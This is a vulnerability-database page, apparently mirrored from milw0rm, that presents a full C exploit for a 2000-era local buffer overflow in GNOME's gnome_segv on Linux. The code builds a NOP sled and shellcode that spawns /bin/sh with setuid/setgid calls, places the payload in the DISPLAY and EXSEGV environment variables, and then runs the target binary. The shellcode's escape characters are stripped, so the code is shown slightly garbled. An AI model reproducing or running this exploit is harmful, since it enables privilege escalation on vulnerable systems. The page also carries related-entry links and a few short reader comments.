gnome_segv – Local Buffer Overflow
漏洞ID | 1053499 | 漏洞类型 | |
发布时间 | 2000-12-06 | 更新时间 | 2000-12-06 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* gnome_segv local buffer overflow.
*
* Author: Cody Tubbs (loophole of hhp).
* www.hhp-programming.net / [email protected]
* 12/9/2000
*
* This exploit was coded at overfiens in cali.
* Shouts to overfien and skeptik... h00t h00t.
* Bug found by skeptik.
*
* Tested on SuSE 6.4/2.2.14
* non s*id by default, p.o.e. only.
*/
#include <stdio.h>
#define DBUF 287 // 56(fun)+RET+227!
#define OFFSET 0 // Change if fails.
static char shellcode[]=
"x31xc0x31xdbxb0x17xcdx80"
"x66x31xc0x66x31xdbxb0x2excdx80"
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46"
"x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80"
"x31xdbx89xd8x40xcdx80xe8xdcxffxffxff"
"/bin/shx69";
long get_sp(void){__asm__("movl %esp,%eax");}
main(int argc, char **argv){
char eipeip[DBUF]=" Don't forget to check www.hhp-programming.net";
char buffer[4096], heh[256+1]; // ^</tag> :D
int i, offset;
long address;
if(argc>1){offset=atoi(argv[1]);}
else{offset=OFFSET;}
address=get_sp()-offset;
for(i=56;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}
for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){buffer[i]=0x90;}
memcpy(heh,eipeip,strlen(eipeip));
memcpy(heh,"DISPLAY=",8);
putenv(heh);
memcpy(buffer+i,shellcode,strlen(shellcode));
memcpy(buffer,"EXSEGV=",7);
putenv(buffer);
fprintf(stderr,"Return address %#x, offset: %d.n",address,offset);
execlp("/opt/gnome/bin/gnome_segv","gnome_segv",0);
}
// milw0rm.com [2000-12-06]
相关推荐: FreeBSD angband Buffer Overflow Vulnerability
FreeBSD angband Buffer Overflow Vulnerability 漏洞ID 1104546 漏洞类型 Boundary Condition Error 发布时间 1999-12-01 更新时间 1999-12-01 CVE编号 N/A…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666